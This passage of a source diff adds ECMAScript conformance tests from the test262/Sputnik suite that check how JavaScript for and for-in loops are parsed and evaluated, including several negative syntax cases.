+ $ERROR('#1: When for (ExpressionNoIn ; Expression ; Expression) Statement is evaluated ExpressionNoIn evaluates first');
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (in_for !== undefined) {
+ $ERROR('#2: in_for === undefined. Actual: in_for ==='+ in_for );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A3.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A3.js
new file mode 100644
index 000000000..2c46dbfbb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A3.js
@@ -0,0 +1,41 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While evaluating "for (ExpressionNoIn; FirstExpression; SecondExpression) Statement", ExpressionNoIn is evaulated first, FirstExpressoin is evaluated second
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A3.js
+ * @description Using "(function(){throw "FirstExpression"})()" as FirstExpression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for((function(){__in__NotInExpression__ = "checked";__in__NotInExpression__2 = "passed";})(); (function(){throw "FirstExpression"})(); (function(){throw "SecondExpression"})()) {
+ __in__for="reached";
+ }
+ $ERROR('#1: (function(){throw "SecondExpression"} lead to throwing exception');
+} catch (e) {
+ if (e !== "FirstExpression") {
+ $ERROR('#1: When for (ExpressionNoIn ; FirstExpression ; SecondExpression) Statement is evaluated first evaluates ExpressionNoIn then FirstExpression');
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if ((__in__NotInExpression__ !== "checked")&(__in__NotInExpression__2!=="passed")) {
+ $ERROR('#2: (__in__NotInExpression__ === "checked")&(__in__NotInExpression__2==="passed")');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (typeof __in__for !== "undefined") {
+ $ERROR('#3: typeof __in__for === "undefined". Actual: typeof __in__for ==='+ typeof __in__for );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4.1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4.1.js
new file mode 100644
index 000000000..a64935274
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4.1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "in"-expression is not allowed as a ExpressionNoIn in "for (ExpressionNoIn; FirstExpression; SecondExpression) Statement" IterationStatement
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A4.1.js
+ * @description Checking if execution of "for (var a in arr;1;){}" fails
+ * @negative
+ */
+
+arr = [1,2,3,4,5];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for (var a in arr;1;){
+ break;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4_T1.js
new file mode 100644
index 000000000..48e56c4b1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "in"-expression is not allowed as a ExpressionNoIn in "for (ExpressionNoIn; FirstExpression; SecondExpression) Statement" IterationStatement
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A4_T1.js
+ * @description Checking if execution of "for (a in arr;1;){}" fails
+ * @negative
+ */
+
+arr = [1,2,3,4,5];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for (a in arr;1;){
+ break;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4_T2.js
new file mode 100644
index 000000000..2a292a808
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A4_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "in"-expression is not allowed as a ExpressionNoIn in "for (ExpressionNoIn; FirstExpression; SecondExpression) Statement" IterationStatement
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A4_T2.js
+ * @description Checking if execution of "for (1 in arr;1;){}" fails
+ * @negative
+ */
+
+arr = [1,2,3,4,5];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(1 in arr;1;) {
+ break;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A5.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A5.js
new file mode 100644
index 000000000..6cab0f017
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A5.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "in"-expression wrapped into "eval" statement is allowed as a ExpressionNoIn in "for (ExpressionNoIn; FirstExpression; SecondExpression) Statement" IterationStatement
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A5.js
+ * @description Using eval "for(eval("i in arr");1;)"
+ */
+
+arr = [1,2,3,4,5];
+i = 1;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for(eval("i in arr");1;) {break;};
+} catch (e) {
+ $ERROR('#1.1: for(eval("i in arr");1;) {break;}; does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try {
+ for(eval("var i = 1 in arr");1;) {break;};
+} catch (e) {
+ $ERROR('#2.1: for(eval("var i = 1 in arr");1;) {break;}; does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try {
+ for(eval("1 in arr");1;) {break;};
+} catch (e) {
+ $ERROR('#3.1: for(eval("1 in arr");1;) {break;}; does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A6.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A6.js
new file mode 100644
index 000000000..1dfd5b457
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A6.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While evaluating "for ( ; ; Expression) Statement", Statement is evaluated first and then Expression is evaluated
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A6.js
+ * @description Using "(function(){throw "SecondExpression";})()" as an Expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for(;;(function(){throw "SecondExpression";})()){
+ var __in__for = "reached";
+ }
+ $ERROR('#1: (function(){throw "SecondExpression"}() lead to throwing exception');
+} catch (e) {
+ if (e !== "SecondExpression") {
+ $ERROR('#1: When for ( ; ; Expression) Statement is evaluated Statement evaluates first then Expression evaluates');
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__in__for !== "reached") {
+ $ERROR('#2: __in__for === "reached". Actual: __in__for ==='+ __in__for );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T1.js
new file mode 100644
index 000000000..f8b2fdbd0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T1.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only three expressions and two semicolons in "for(with var)" braces are allowed.
+ * Appearing of for (ExpressionNoIn_opt ; Expression_opt ; Expression_opt; Expression_opt; Expression_opt;) statement leads to SyntaxError
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A7.1_T1.js
+ * @description Checking if execution of "for(var index=0; index<10; index++; index--)" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(var index=0; index<10; index++; index--);
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T2.js
new file mode 100644
index 000000000..550b14b19
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7.1_T2.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only three expressions and two semicolons in "for(with var)" braces are allowed.
+ * Appearing of for (ExpressionNoIn_opt ; Expression_opt ; Expression_opt; Expression_opt; Expression_opt;) statement leads to SyntaxError
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A7.1_T2.js
+ * @description Checking if execution of "for(var index=0; index<10; index+=4; index++; index--)" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(var index=0; index<10; index+=4; index++; index--) ;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7_T1.js
new file mode 100644
index 000000000..39dcc1c6a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7_T1.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only three expressions and two semicolons in "for" braces are allowed.
+ * Appearing of for (ExpressionNoIn_opt ; Expression_opt ; Expression_opt; Expression_opt; Expression_opt;) statement leads to SyntaxError
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A7_T1.js
+ * @description Checking if execution of "for(index=0; index<10; index++; index--)" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(index=0; index<10; index++; index--) ;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7_T2.js
new file mode 100644
index 000000000..2f22dbf3c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A7_T2.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Only three expressions and two semicolons in "for" braces are allowed.
+ * Appearing of for (ExpressionNoIn_opt ; Expression_opt ; Expression_opt; Expression_opt; Expression_opt;) statement leads to SyntaxError
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A7_T2.js
+ * @description Checking if execution of "for(index=0; index<10; index+=4; index++; index--)" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(index=0; index<10; index+=4; index++; index--) ;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T1.js
new file mode 100644
index 000000000..ddd3c30e4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Blocks within "for(with var)" braces are not allowed
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A8.1_T1.js
+ * @description Checking if execution of "for(var index=0; index<100; {index++; index*2;}) { arr.add(""+index);}" fails
+ * @negative
+ */
+
+var arr = [];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(var index=0; index<100; {index++; index*2;}) { arr.add(""+index);};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T2.js
new file mode 100644
index 000000000..81cbed22b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Blocks within "for(with var)" braces are not allowed
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A8.1_T2.js
+ * @description Checking if execution of "for(var index=0; {index++;index<100;}; index*2;) { arr.add(""+index);}" fails
+ * @negative
+ */
+
+var arr = [];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(var index=0; {index++;index<100;}; index*2;) { arr.add(""+index);};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T3.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T3.js
new file mode 100644
index 000000000..8c26060e3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Blocks within "for(with var)" braces are not allowed
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A8.1_T3.js
+ * @description Checking if execution of "for({var index=0; index+=1;} index++<=10; index*2;) { arr.add(""+index);}" fails
+ * @negative
+ */
+
+var arr = [];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+for({var index=0; index+=1;} index++<=10; index*2;) { arr.add(""+index);};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T1.js
new file mode 100644
index 000000000..8f9ce29d6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Blocks within "for" braces are not allowed
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A8_T1.js
+ * @description Checking if execution of "for(index=0; index<100; {index++; index*2;}) { arr.add(""+index);}" fails
+ * @negative
+ */
+
+var arr = [];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(index=0; index<100; {index++; index*2;}) { arr.add(""+index);};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T2.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T2.js
new file mode 100644
index 000000000..406d23bbb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Blocks within "for" braces are not allowed
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A8_T2.js
+ * @description Checking if execution of "for(index=0; {index++;index<100;}; index*2;) { arr.add(""+index);}" fails
+ * @negative
+ */
+
+var arr = [];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for(index=0; {index++;index<100;}; index*2;) { arr.add(""+index);};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T3.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T3.js
new file mode 100644
index 000000000..9843a3229
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A8_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Blocks within "for" braces are not allowed
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A8_T3.js
+ * @description Checking if execution of "for({index=0; index+=1;} index++<=10; index*2;) { arr.add(""+index);}" fails
+ * @negative
+ */
+
+var arr = [];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+for({index=0; index+=1;} index++<=10; index*2;) { arr.add(""+index);};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A9.1.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A9.1.js
new file mode 100644
index 000000000..c2031c9ab
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A9.1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of evaluating "for( ExpNoIn;Exp;Exp)" loop is returning (normal, evalValue, empty)
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A9.1.js
+ * @description Using eval
+ */
+
+supreme=5;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+try {
+ var __evaluated = eval("for(count=0;;) {if (count===supreme)break;else count++; }");
+ if (__evaluated !== 4) {
+ $ERROR('#1: __evaluated === 4. Actual: __evaluated ==='+ __evaluated );
+ }
+} catch (e) {
+ $ERROR('#1: var __evaluated = eval("for(count=0;;) {if (count===supreme)break;else count++; }"); does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A9.js b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A9.js
new file mode 100644
index 000000000..11b88316f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/S12.6.3_A9.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of evaluating "for(var ExpNoIn;Exp;Exp)" loop is returning (normal, evalValue, empty)
+ *
+ * @path ch12/12.6/12.6.3/S12.6.3_A9.js
+ * @description Using eval
+ */
+
+supreme=5;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+try {
+ var __evaluated = eval("for(var count=0;;) {if (count===supreme)break;else count++; }");
+ if (__evaluated !== 4) {
+ $ERROR('#1: __evaluated === 4. Actual: __evaluated ==='+ __evaluated );
+ }
+} catch (e) {
+ $ERROR('#1: var __evaluated = eval("for(var count=0;;) {if (count===supreme)break;else count++; }"); does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/browser.js b/js/src/tests/test262/ch12/12.6/12.6.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/browser.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/shell.js b/js/src/tests/test262/ch12/12.6/12.6.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/shell.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/12.6.4-1.js b/js/src/tests/test262/ch12/12.6/12.6.4/12.6.4-1.js
new file mode 100644
index 000000000..3929b0a23
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/12.6.4-1.js
@@ -0,0 +1,34 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.6/12.6.4/12.6.4-1.js
+ * @description The for-in Statement - a property name must not be visited more than once in any enumeration.
+ */
+
+
+function testcase() {
+ var obj = { prop1: "abc", prop2: "bbc", prop3: "cnn" };
+
+ var countProp1 = 0;
+ var countProp2 = 0;
+ var countProp3 = 0;
+
+ for (var p in obj) {
+ if (obj.hasOwnProperty(p)) {
+ if (p === "prop1") {
+ countProp1++;
+ }
+ if (p === "prop2") {
+ countProp2++;
+ }
+ if (p === "prop3") {
+ countProp3++;
+ }
+ }
+ }
+ return countProp1 === 1 && countProp2 === 1 && countProp3 === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/12.6.4-2.js b/js/src/tests/test262/ch12/12.6/12.6.4/12.6.4-2.js
new file mode 100644
index 000000000..dca36c1ff
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/12.6.4-2.js
@@ -0,0 +1,52 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.6/12.6.4/12.6.4-2.js
+ * @description The for-in Statement - the values of [[Enumerable]] attributes are not considered when determining if a property of a prototype object is shadowed by a previous object on the prototype chain
+ */
+
+
+function testcase() {
+ var obj = {};
+
+ var proto = {};
+
+ Object.defineProperty(proto, "prop", {
+ value: "inheritedValue",
+ enumerable: false,
+ configurable: true,
+ writable: true
+ });
+
+ var ConstructFun = function () { };
+ ConstructFun.prototype = proto;
+
+ var child = new ConstructFun();
+
+ Object.defineProperty(child, "prop1", {
+ value: "overridedValue1",
+ enumerable: false
+ });
+ Object.defineProperty(child, "prop2", {
+ value: "overridedValue2",
+ enumerable: true
+ });
+ var accessedProp1 = false;
+ var accessedProp2 = false;
+
+ for (var p in child) {
+ if (child.hasOwnProperty(p)) {
+ if (p === "prop1") {
+ accessedProp1 = true;
+ }
+ if (p === "prop2") {
+ accessedProp2 = true;
+ }
+ }
+ }
+ return !accessedProp1 && accessedProp2 && child.prop1 === "overridedValue1" && child.prop2 === "overridedValue2";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A1.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A1.js
new file mode 100644
index 000000000..fd8c754bf
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A1.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "for(key in undefined)" Statement is allowed
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A1.js
+ * @description Checking if execution of "for(key in undefined)" passes
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ for(__key in undefined){
+ var key=__key;
+ };
+} catch (e) {
+ $ERROR('#1: "for(key in undefined){}" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (key!==undefined) {
+ $ERROR('#2: key === undefined. Actual: key === '+key);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A14_T2.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A14_T2.js
new file mode 100644
index 000000000..b90e3e99b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A14_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpession within a "for-in" Expression is allowed
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A14_T2.js
+ * @description Using "function __func(){return {a:1};}()" as Expession
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+for(x in function __func(){return {a:1};}()){
+ var __reached = x;
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__reached !== "a") {
+ $ERROR('#2: function expession inside of for-in expression allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A15.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A15.js
new file mode 100644
index 000000000..c19908904
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A15.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Block within a "for-in" Expression is not allowed
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A15.js
+ * @description Using block within "for-in" Expression
+ * @negative
+ */
+
+var __arr=[1,2,3];
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+for(x in {__arr}){
+ break ;
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A2.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A2.js
new file mode 100644
index 000000000..e8db640c0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "for(key in null)" Expression is allowed
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A2.js
+ * @description Checking if execution of "for(key in null)" passes
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+try {
+ for(__key in null){
+ var key=__key;
+ };
+} catch (e) {
+ $ERROR('#1: "for(__key in null){}" does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (key!==undefined) {
+ $ERROR('#2: key === undefined. Actual: key ==='+key);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A3.1.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A3.1.js
new file mode 100644
index 000000000..d232fe48d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A3.1.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A3.1.js
+ * @description Using an array as an Expression is appropriate. Here Expression is an array of numbers
+ */
+
+__str="";
+
+__evaluated = eval("for(var ind in (arr=[2,1,4,3]))__str+=arr[ind]");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__evaluated !== __str) {
+ $ERROR('#1: __evaluated === __str. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!( (__str.indexOf("2")!==-1)&&(__str.indexOf("1")!==-1)&&(__str.indexOf("4")!==-1)&&(__str.indexOf("3")!==-1) )) {
+ $ERROR('#2: (__str.indexOf("2")!==-1)&&(__str.indexOf("1")!==-1)&&(__str.indexOf("4")!==-1)&&(__str.indexOf("3")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A3.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A3.js
new file mode 100644
index 000000000..2b34c38c7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A3.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A3.js
+ * @description Using an array as an Expression is appropriate. Here Expression is an array of numbers. Eval is used
+ */
+
+__str="";
+
+__evaluated = eval("for(ind in (arr=[2,1,4,3]))__str+=arr[ind]");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__evaluated !== __str) {
+ $ERROR('#1: __evaluated === __str. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
